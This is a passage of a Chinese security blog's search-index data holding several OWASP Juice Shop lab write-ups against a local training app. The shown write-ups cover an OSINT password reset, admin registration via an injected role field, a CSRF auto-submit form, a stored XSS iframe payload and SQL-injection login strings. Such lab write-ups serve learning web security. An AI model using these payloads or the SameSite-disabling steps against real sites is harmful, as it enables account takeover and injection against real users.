","date":"2026-04-07","objectID":"/posts/2026/juice-shop-bjoerns-favorite-pet/:2:1","tags":["juice-shop","OSINT","社会工程学"],"title":"【juice-shop】★★★ Bjoern's Favorite Pet：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-bjoerns-favorite-pet/#-第一步获取目标邮箱与安全问题"},{"categories":["security"],"collections":["juice-shop"],"content":"🐱 第二步：通过推特查找宠物信息 评论让我们看看照片墙，但是照片墙的链接会跳转到推特，emmm结合提示，在推特搜索Bjoern（我的推特现在有点问题，直接使用了攻略里面的链接进行跳转 https://x.com/bkimminich ） https://x.com/bkimminich 随便看看，在 Media 里面有一直猫疑似宠物 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-bjoerns-favorite-pet/:2:2","tags":["juice-shop","OSINT","社会工程学"],"title":"【juice-shop】★★★ Bjoern's Favorite Pet：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-bjoerns-favorite-pet/#-第二步通过推特查找宠物信息"},{"categories":["security"],"collections":["juice-shop"],"content":"🔐 第三步：重置密码 根据照片推断宠物名称，在忘记密码页面填写： 安全问题答案：Zaya ⚠️ 此处原有一张截图（重置密码），在迁移过程中丢失，暂时无法显示。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-bjoerns-favorite-pet/:2:3","tags":["juice-shop","OSINT","社会工程学"],"title":"【juice-shop】★★★ Bjoern's Favorite Pet：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-bjoerns-favorite-pet/#-第三步重置密码"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第四步：完成挑战 成功重置 Bjoern 的账户密码，挑战完成。 最后，我讨厌OSINT。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-bjoerns-favorite-pet/:2:4","tags":["juice-shop","OSINT","社会工程学"],"title":"【juice-shop】★★★ Bjoern's Favorite Pet：通过 OSINT 重置密码","uri":"/posts/2026/juice-shop-bjoerns-favorite-pet/#-第四步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过分析注册接口返回的 JSON 数据，发现 role 字段，在请求体中手动添加 role:admin 完成管理员账户注册。","date":"2026-04-07","objectID":"/posts/2026/juice-shop-admin-registration/","tags":["juice-shop","Broken Access Control","权限提升"],"title":"【juice-shop】★★★ Admin Registration：注册管理员权限账户","uri":"/posts/2026/juice-shop-admin-registration/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Admin Registration：注册管理员权限账户 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-admin-registration/:0:0","tags":["juice-shop","Broken Access Control","权限提升"],"title":"【juice-shop】★★★ Admin Registration：注册管理员权限账户","uri":"/posts/2026/juice-shop-admin-registration/#juice-shop-admin-registration注册管理员权限账户"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 必须得到一个无法通过正常途径分配的权限。 2. 注册为普通用户，了解此用例涉及哪些 API 接口。 3. 设想区分普通用户与管理员的最简单实现方式。\r","date":"2026-04-07","objectID":"/posts/2026/juice-shop-admin-registration/:1:0","tags":["juice-shop","Broken Access Control","权限提升"],"title":"【juice-shop】★★★ Admin Registration：注册管理员权限账户","uri":"/posts/2026/juice-shop-admin-registration/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-admin-registration/:2:0","tags":["juice-shop","Broken Access Control","权限提升"],"title":"【juice-shop】★★★ Admin Registration：注册管理员权限账户","uri":"/posts/2026/juice-shop-admin-registration/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：注册普通用户并抓包 提示其实无所谓，在实际操作的时候我大概只与第三点有关…… 在这个挑战开始前，如果完成过Login Admin更好，没有完成过也没事（ 首先，打开burp，使用内置浏览器注册一个普通用户 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-admin-registration/:2:1","tags":["juice-shop","Broken Access Control","权限提升"],"title":"【juice-shop】★★★ Admin Registration：注册管理员权限账户","uri":"/posts/2026/juice-shop-admin-registration/#-第一步注册普通用户并抓包"},{"categories":["security"],"collections":["juice-shop"],"content":"🔎 第二步：分析返回的 JSON 观察注册成功后服务器返回的 JSON 数据，发现其中包含一个 role 字段： 这很可能就是区分普通用户与管理员的关键字段。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-admin-registration/:2:2","tags":["juice-shop","Broken Access Control","权限提升"],"title":"【juice-shop】★★★ Admin Registration：注册管理员权限账户","uri":"/posts/2026/juice-shop-admin-registration/#-第二步分析返回的-json"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 第三步：确认管理员的 role 值 我们把这个包发送到重放器，重新注册一个账号，把这个字段添加进去，如果没有完成过Login Admin，可以猜一下这里有哪些role，不过我不喜欢猜，使用 SQL 注入登录管理员账户，访问管理后台： http://127.0.0.1:3000/#/administration 在 Burp 中找到对应请求，从响应中确认管理员的 role 值： ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-admin-registration/:2:3","tags":["juice-shop","Broken Access Control","权限提升"],"title":"【juice-shop】★★★ Admin Registration：注册管理员权限账户","uri":"/posts/2026/juice-shop-admin-registration/#-第三步确认管理员的-role-值"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：篡改请求注册管理员账户 将注册请求发送到 Repeater，修改请求体，在 JSON 中添加 role 字段： 发送请求，注册一个新的管理员权限账户。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-admin-registration/:2:4","tags":["juice-shop","Broken Access Control","权限提升"],"title":"【juice-shop】★★★ Admin Registration：注册管理员权限账户","uri":"/posts/2026/juice-shop-admin-registration/#-第四步篡改请求注册管理员账户"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 成功注册拥有管理员权限的用户，挑战完成。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-admin-registration/:2:5","tags":["juice-shop","Broken Access Control","权限提升"],"title":"【juice-shop】★★★ Admin Registration：注册管理员权限账户","uri":"/posts/2026/juice-shop-admin-registration/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过构造恶意 HTML 页面，利用 CSRF 漏洞从其他来源修改用户名。需要旧版浏览器或禁用 SameSite Cookie 保护。","date":"2026-04-07","objectID":"/posts/2026/juice-shop-csrf/","tags":["juice-shop","CSRF","跨站请求伪造"],"title":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名","uri":"/posts/2026/juice-shop-csrf/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-csrf/:0:0","tags":["juice-shop","CSRF","跨站请求伪造"],"title":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名","uri":"/posts/2026/juice-shop-csrf/#juice-shop-csrf跨站请求伪造修改用户名"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 查找更新用户名的表单，在 HTML 在线编辑器中构建恶意页面。可能需要旧版浏览器。 2. 看看在个人资料页面更改用户名时会发生什么。 3. 搜索有关 CSRF 攻击的信息，寻找可应用于本挑战的示例。 4. 在 http://htmledit.squarefree.com 中编写 CSRF 攻击代码，验证是否更改了用户名。\r注意： 本题需要旧版浏览器（新版浏览器会因 SameSite Cookie 保护而拒绝跨站脚本自动携带 Cookie）。 这题需要旧版浏览器（新版浏览器会拒绝跨站脚本自带的Cookie），我这里暂时没有旧版浏览器，直接发思路吧…… ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-csrf/:1:0","tags":["juice-shop","CSRF","跨站请求伪造"],"title":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名","uri":"/posts/2026/juice-shop-csrf/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-csrf/:2:0","tags":["juice-shop","CSRF","跨站请求伪造"],"title":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名","uri":"/posts/2026/juice-shop-csrf/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：分析用户名修改请求 打开 Burp Suite，登录账户后，在个人资料页面修改用户名一次，捕获并分析请求包。 观察 POST 请求的结构，记录以下信息： 请求 URL：http://localhost:3000/profile 请求方法：POST 参数：username=\u0026lt;新用户名\u0026gt; ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-csrf/:2:1","tags":["juice-shop","CSRF","跨站请求伪造"],"title":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名","uri":"/posts/2026/juice-shop-csrf/#-第一步分析用户名修改请求"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第二步：构造 CSRF 恶意页面 创建一个 HTML 文件，包含自动提交的表单： \u0026lt;form action=\u0026#34;http://localhost:3000/profile\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;username\u0026#34; value=\u0026#34;CSRF\u0026#34;/\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34;/\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt;document.forms[0].submit();\u0026lt;/script\u0026gt; 工作原理： 表单指向目标服务器的用户名修改接口 隐藏的 \u0026lt;input\u0026gt; 字段包含恶意的新用户名 JavaScript 自动提交表单，无需用户交互 浏览器自动携带已登录用户的 Cookie，请求被服务器认为合法 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-csrf/:2:2","tags":["juice-shop","CSRF","跨站请求伪造"],"title":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名","uri":"/posts/2026/juice-shop-csrf/#-第二步构造-csrf-恶意页面"},{"categories":["security"],"collections":["juice-shop"],"content":"🌐 第三步：在线编辑并测试 方案 A：使用在线 HTML 编辑器 访问 http://htmledit.squarefree.com ，将上述 HTML 代码粘贴并运行。 方案 B：本地文件测试 创建 csrf.html 文件，保存上述代码 使用旧版浏览器打开该文件 页面自动提交表单，修改已登录用户的用户名 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-csrf/:2:3","tags":["juice-shop","CSRF","跨站请求伪造"],"title":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名","uri":"/posts/2026/juice-shop-csrf/#-第三步在线编辑并测试"},{"categories":["security"],"collections":["juice-shop"],"content":"⚠️ 第四步：浏览器版本要求 为什么需要旧版浏览器？ 现代浏览器（Chrome 80+、Firefox 60+）默认设置 SameSite=Lax Cookie 属性，跨站请求不会自动携带 Cookie，导致 CSRF 攻击失效。 解决方案： 使用 Firefox 52 ESR 或 Chrome 79 及以下版本 或在现代浏览器中禁用 SameSite 保护： Chrome：chrome://flags/#same-site-by-default-cookies → Disabled Firefox：about:config → network.cookie.sameSite.laxByDefault = false ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-csrf/:2:4","tags":["juice-shop","CSRF","跨站请求伪造"],"title":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名","uri":"/posts/2026/juice-shop-csrf/#-第四步浏览器版本要求"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 成功修改用户名后，挑战完成。 ","date":"2026-04-07","objectID":"/posts/2026/juice-shop-csrf/:2:5","tags":["juice-shop","CSRF","跨站请求伪造"],"title":"【juice-shop】★★★ CSRF：跨站请求伪造修改用户名","uri":"/posts/2026/juice-shop-csrf/#-第五步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 API 枚举发现 /api/Products 接口，携带管理员 Authorization 直接向后端 POST 含 XSS 有效负载的商品数据，绕过前端限制完成存储型 XSS 攻击。","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:0:0","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#juice-shop-api-only-xss绕过前端直接调用-api-实施存储型-xss"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 需要直接调用服务器端 API，通过 API 尝试不同的 HTTP 动作以暴露不同实体。 2. 一个包含已知数据实体及其在 API 中支持的 HTTP 操作动词的矩阵可为你提供帮助。 3. 粗心的开发人员可能暴露了客户端根本不需要的 API 方法。\r","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:1:0","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:2:0","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：API 枚举 这个挑战需要寻找前端没有暴露的 API 接口，使用 FindSomething 插件收集到以下接口： /api/Addresss /api/BasketItems /api/Cards /api/Challenges /api/Challenges/?key=nftMintChallenge /api/Complaints /api/Deliverys /api/Feedbacks /api/Hints /api/Products /api/Quantitys /api/Recycles /api/SecurityAnswers /api/SecurityQuestions /api/Users ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:2:1","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#-第一步api-枚举"},{"categories":["security"],"collections":["juice-shop"],"content":"🌐 第二步：探测目标接口 使用 curl 逐个访问接口（默认 GET 方法），发现 /api/Products 返回了所有商品列表，将其作为目标。 ❯ curl 127.0.0.1:3000/api/Products | python -m json.tool 虽然题目要求不使用前端，但不能被条件完全框住。 我们使用burp的内置浏览器，访问 http://127.0.0.1:3000/api/Products 将对应的请求加入到重放器里 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:2:2","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#-第二步探测目标接口"},{"categories":["security"],"collections":["juice-shop"],"content":"⚙️ 第三步：探测支持的 HTTP 方法 发送 OPTIONS 请求，获取该接口支持的所有请求方法： GET,HEAD,PUT,PATCH,POST,DELETE 逐一测试各方法： PUT — 报错 Error: Unexpected path: /api/Products，无法使用 POST — 报错 UnauthorizedError: No Authorization header was found，缺少鉴权 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:2:3","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#-第三步探测支持的-http-方法"},{"categories":["security"],"collections":["juice-shop"],"content":"🔑 第四步：获取管理员 Authorization 我们使用之前的Login Admin挑战获取一下 Authorization ，直接用admin防止权限不足（这里使用burp内置浏览器，便于捕获本地包）。 将 Authorization 添加到 Burp Repeater 的请求头中，重新发送 POST 请求。 发送成功，响应中出现了新商品，确认该接口为商品添加接口。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:2:4","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#-第四步获取管理员-authorization"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第五步：构造 XSS Payload 整理关键信息： XSS 有效负载（来自题目描述）： \u0026lt;iframe src=\u0026#39;javascript:alert(`xss`)\u0026#39;\u0026gt; 接口返回的 JSON 结构： 关键请求头（上传 JSON 数据时必须添加 Content-Type）： Authorization: Bearer \u0026lt;admin_token\u0026gt; Content-Type: application/json 将 XSS 有效负载注入商品的 description 字段，构造并发送 POST 请求。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:2:5","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#-第五步构造-xss-payload"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第六步：完成挑战 访问 http://127.0.0.1:3000/#/search，翻到最后一页，找到通过 API 添加的商品，点击后 XSS 弹窗触发。 挑战完成！ ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:2:6","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#-第六步完成挑战"},{"categories":["security"],"collections":["juice-shop"],"content":"吐槽 这个挑战因为一些细节粗心，花费了半天时间，我认为这个挑战是非常考验细节的，3 星有点低啊（雾 最后构建 payload 的时候注意不要少符号，容易搞坏这个 API，发现 GET 访问 /api/Products 报错的时候直接重启环境（ ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:3:0","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#吐槽"},{"categories":["security"],"collections":["juice-shop"],"content":"参考资料 OWASP Juice Shop 官方攻略 - API-only XSS ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-api-only-xss/:4:0","tags":["juice-shop","XSS","存储型XSS","API安全"],"title":"【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS","uri":"/posts/2026/juice-shop-api-only-xss/#参考资料"},{"categories":["security"],"collections":["juice-shop"],"content":"通过商品评论区发现 Jim 和 Bender 的登录邮箱，结合 SQL 注入绕过身份验证，成功登录两个账户。","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Login Jim \u0026amp; Login Bender：通过商品评论收集邮箱并注入登录 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:0:0","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#juice-shop-login-jim--login-bender通过商品评论收集邮箱并注入登录"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 分别使用 Jim 和 Bender 的用户账户登录。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:1:0","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 这里的引导给我扩宽了一个思路，之前完成其他登录挑战的时候没有注意到的 商店的商品评价里面是有用户登录邮箱的！ ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:2:0","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"👤 Jim 🔍 第一步：从商品评论中收集邮箱 浏览商店商品的评论区，找到 Jim 留下的评论，获取其登录邮箱。 成功收集到 Jim 的邮箱： jim@juice-sh.op 💉 第二步：SQL 注入绕过登录 在登录页面的邮箱字段输入以下注入有效负载，密码随意填写： jim@juice-sh.op\u0026#39;-- ✅ 挑战完成 成功以 Jim 的身份登录。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:2:1","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#-jim"},{"categories":["security"],"collections":["juice-shop"],"content":"👤 Jim 🔍 第一步：从商品评论中收集邮箱 浏览商店商品的评论区，找到 Jim 留下的评论，获取其登录邮箱。 成功收集到 Jim 的邮箱： jim@juice-sh.op 💉 第二步：SQL 注入绕过登录 在登录页面的邮箱字段输入以下注入有效负载，密码随意填写： jim@juice-sh.op\u0026#39;-- ✅ 挑战完成 成功以 Jim 的身份登录。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:2:1","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#-第一步从商品评论中收集邮箱"},{"categories":["security"],"collections":["juice-shop"],"content":"👤 Jim 🔍 第一步：从商品评论中收集邮箱 浏览商店商品的评论区，找到 Jim 留下的评论，获取其登录邮箱。 成功收集到 Jim 的邮箱： jim@juice-sh.op 💉 第二步：SQL 注入绕过登录 在登录页面的邮箱字段输入以下注入有效负载，密码随意填写： jim@juice-sh.op\u0026#39;-- ✅ 挑战完成 成功以 Jim 的身份登录。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:2:1","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#-第二步sql-注入绕过登录"},{"categories":["security"],"collections":["juice-shop"],"content":"👤 Jim 🔍 第一步：从商品评论中收集邮箱 浏览商店商品的评论区，找到 Jim 留下的评论，获取其登录邮箱。 成功收集到 Jim 的邮箱： jim@juice-sh.op 💉 第二步：SQL 注入绕过登录 在登录页面的邮箱字段输入以下注入有效负载，密码随意填写： jim@juice-sh.op\u0026#39;-- ✅ 挑战完成 成功以 Jim 的身份登录。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:2:1","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#-挑战完成"},{"categories":["security"],"collections":["juice-shop"],"content":"👤 Bender 🔍 第一步：从商品评论中收集邮箱 同样在商品评论区找到 Bender 留下的评论，获取其登录邮箱。 💉 第二步：SQL 注入绕过登录 在登录页面的邮箱字段输入以下注入有效负载，密码随意填写： bender@juice-sh.op\u0026#39;-- ✅ 挑战完成 成功以 Bender 的身份登录。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:2:2","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#-bender"},{"categories":["security"],"collections":["juice-shop"],"content":"👤 Bender 🔍 第一步：从商品评论中收集邮箱 同样在商品评论区找到 Bender 留下的评论，获取其登录邮箱。 💉 第二步：SQL 注入绕过登录 在登录页面的邮箱字段输入以下注入有效负载，密码随意填写： bender@juice-sh.op\u0026#39;-- ✅ 挑战完成 成功以 Bender 的身份登录。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:2:2","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#-第一步从商品评论中收集邮箱-1"},{"categories":["security"],"collections":["juice-shop"],"content":"👤 Bender 🔍 第一步：从商品评论中收集邮箱 同样在商品评论区找到 Bender 留下的评论，获取其登录邮箱。 💉 第二步：SQL 注入绕过登录 在登录页面的邮箱字段输入以下注入有效负载，密码随意填写： bender@juice-sh.op\u0026#39;-- ✅ 挑战完成 成功以 Bender 的身份登录。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:2:2","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#-第二步sql-注入绕过登录-1"},{"categories":["security"],"collections":["juice-shop"],"content":"👤 Bender 🔍 第一步：从商品评论中收集邮箱 同样在商品评论区找到 Bender 留下的评论，获取其登录邮箱。 💉 第二步：SQL 注入绕过登录 在登录页面的邮箱字段输入以下注入有效负载，密码随意填写： bender@juice-sh.op\u0026#39;-- ✅ 挑战完成 成功以 Bender 的身份登录。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-login-jim-login-bender/:2:2","tags":["juice-shop","SQL注入","OSINT"],"title":"【juice-shop】★★★ Login Jim \u0026 Login Bender：通过商品评论收集邮箱并注入登录","uri":"/posts/2026/juice-shop-login-jim-login-bender/#-挑战完成-1"},{"categories":["security"],"collections":["juice-shop"],"content":"通过删除反馈表单中隐藏字段的 hidden 属性，将 userId 修改为其他用户的 ID，以他人身份提交反馈。","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★ Forged Feedback：伪造他人反馈 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/:0:0","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/#juice-shop-forged-feedback伪造他人反馈"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 💡 提示 (Hints)\r1. 可以通过篡改用户界面或拦截 RESTful 后端通信来解决此问题。 2. 要找到客户端的杠杆点，需仔细分析用于反馈提交的 HTML 表单。 3. 后端侧的杠杆点类似于 Juice Shop 中某些 XSS 挑战的利用方式。\r","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/:1:0","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/:2:0","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"🔍 第一步：进入客户反馈页面 导航至客户反馈页面，打开浏览器 DevTools，切换到 Elements（元素） 面板，仔细审查反馈表单的 HTML 结构。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/:2:1","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/#-第一步进入客户反馈页面"},{"categories":["security"],"collections":["juice-shop"],"content":"🕵️ 第二步：发现隐藏字段 在客户反馈的页面打开DevTools查看页面元素（没思路了，自己删了好多内容没想出来……我是废物） 重新看了一下dom，发现自己被这个作者框给框住了，钥匙不再框里面，而是在框外面 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/:2:2","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/#-第二步发现隐藏字段"},{"categories":["security"],"collections":["juice-shop"],"content":"✏️ 第三步：删除 hidden 属性 在框的上方有一行带有hidden=\u0026quot;\u0026quot; 属性的 input 框，它才是可以自定义提交用户的“钥匙” ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/:2:3","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/#-第三步删除-hidden-属性"},{"categories":["security"],"collections":["juice-shop"],"content":"💉 第四步：填入目标用户 ID 在新显示的输入框中填入其他用户的 ID，然后正常填写反馈内容并提交。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/:2:4","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged Feedback：伪造他人反馈","uri":"/posts/2026/juice-shop-forged-feedback/#-第四步填入目标用户-id"},{"categories":["security"],"collections":["juice-shop"],"content":"✅ 第五步：完成挑战 以他人身份成功提交反馈，挑战完成。 ","date":"2026-04-06","objectID":"/posts/2026/juice-shop-forged-feedback/:2:5","tags":["juice-shop","Broken Access Control","前端篡改"],"title":"【juice-shop】★★★ Forged 